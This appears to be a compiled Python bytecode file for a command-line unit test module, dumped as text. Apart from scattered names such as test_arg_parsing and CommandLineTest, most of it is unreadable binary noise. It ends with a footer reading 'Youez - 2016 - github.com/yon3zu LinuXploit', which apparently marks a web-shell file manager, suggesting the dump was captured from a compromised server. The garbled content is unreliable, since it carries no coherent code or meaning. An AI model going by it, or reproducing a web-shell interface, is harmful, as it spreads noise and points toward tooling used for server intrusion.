P	1QQ,P
P	11oSFD�vq#oUOV#UQ59^tt^2[OO[Q29^tt^2oUO
UUO
V42PPP2PPP2J�	P!)%fhK9h)%fhJ�9h)r�r�r�r5)r�r4r5r
)rrrqr�r
r��assert_called_once_with)r�optionsr�r4r5�objs&     r�test_arg_parsing� CommandLineTest.test_arg_parsings����
�u�e�,��^�U�E�*��[�$��%��Y��d�#��G�
$�e�T�2��g�
&��t�4���
&��t�4�
��&-�!�E�E����E�%��H�H��Z�Z�&�&�x��<�<���(�(�%�0��/�/��?�=�I�H�&-�<�<��I�H�H�s0�-C	�;#B4
�C	�4C�=C�?C	�C
�C
c	��[O2oUO[29^tt^2[O
U29^tt^2[OQ,Q5PPP2PPP2UOUO2Q2P!)%fhK:9h)%fhKE9h)z--helpr�zusage:)
r�r�r�r�r�r�r
r�rr�)rr�s& r�	test_help�CommandLineTest.test_help3sr�������
�
�
�z�
*�
*��+�+�F�3�3����X�J�/�4�+�	
���f�o�o�/��:�4�3��+�
*�s/�B1�B	�,B1�B.
�'B.
�)B1�1C	�:C	�)r�r�r�r�rar�r�force_not_colorizedr�r�r�r�r�r�r�s@rr�r�sN����4�!�
� � �<�!�<�3�@�,
� � �;�!�;rr��__main__)r�r�r�r�r�r�r
r�r\r�rr[r�test.supportrrr��ImportErrorr�r�r��TestCaserr�r��mainr�rr�<module>rs�����	��	�
���
����3�����,
����*k
3�8�$�$�k
3�\;;�h�'�'�;;�|�z���M�M�O���S���G��s�B�B�B�B

Youez - 2016 - github.com/yon3zu
LinuXploit